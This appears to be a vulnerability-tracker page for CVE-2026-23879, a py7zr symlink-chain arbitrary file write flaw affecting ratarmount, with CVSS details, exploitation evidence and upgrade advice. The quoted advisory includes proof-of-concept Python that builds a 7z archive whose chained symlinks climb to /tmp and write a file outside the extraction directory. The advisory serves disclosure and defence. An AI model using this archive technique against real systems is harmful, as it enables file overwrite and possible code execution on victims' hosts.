VulnerabilityPublished 13 Aug 2026Updated 26 Oct 2026

CVE-2026-23879: py7zr · Arbitrary File Write Vulnerability

Affects ratarmountSource GCVE Database

Authoritative record:CVE-2026-23879· High 8.0

Not known to be exploited · CVSS 8.0 High : upgrade to 1.3.0_1 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score

8.0High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.4% chance of exploitation in 30 days – higher than 42% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.3.0_1

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: Required
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 24 Jun 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade ratarmount to 1.3.0_1.

Affected software

Product	Affected	Fixed in
Homebrewratarmount`pkg:brew/ratarmount`Other threats	Affected >=1.1.0 <1.3.0_1	Fixed in 1.3.0_1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary There exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. ### Details The root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. <img width="1806" height="834" alt="image" src="https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b" /> ### PoC #### **Construct PoC Archive File** The following pseudo-code illustrates the vulnerable logic. ```python def create_sevenz_exp(output_dir: str): filename = "archive.7z" file_path = output_dir + filename with py7zr.SevenZipFile(file_path, 'w') as archive: archive.writestr("Some Text", "dir0/someFile.txt") add_symlink(archive, "dir1", "dir0/..") add_symlink(archive, "dir2", "dir1/..") add_symlink(archive, "dir3", "dir2/..") add_symlink(archive, "dir4", "dir3/..") add_symlink(archive, "dir5", "dir4/..") add_symlink(archive, "dir6", "dir5/..") add_symlink(archive, "dir7", "dir6/..") add_symlink(archive, "dir8", "dir7/..") add_symlink(archive, "myTmp", "dir8/tmp") archive.writestr("Malicious Text\n", "myTmp/poc.txt") ``` #### **Unpack the archive** Use common decompression methods, then extract the archive. ```python import sys import os import py7zr def extract_7z(seven_path, output_dir): os.makedirs(output_dir, exist_ok=True) with py7zr.SevenZipFile(seven_path, mode='r') as z: z.extractall(path=output_dir) print(f"Extracted '{seven_path}' to '{output_dir}'") if __name__ == "__main__": seven_file = sys.argv[1] base_name = os.path.splitext(os.path.basename(seven_file))[0] output = base_name + "_sevenz_output" extract_7z(seven_file, output) ``` ### Impact <img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" /> After decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.

References

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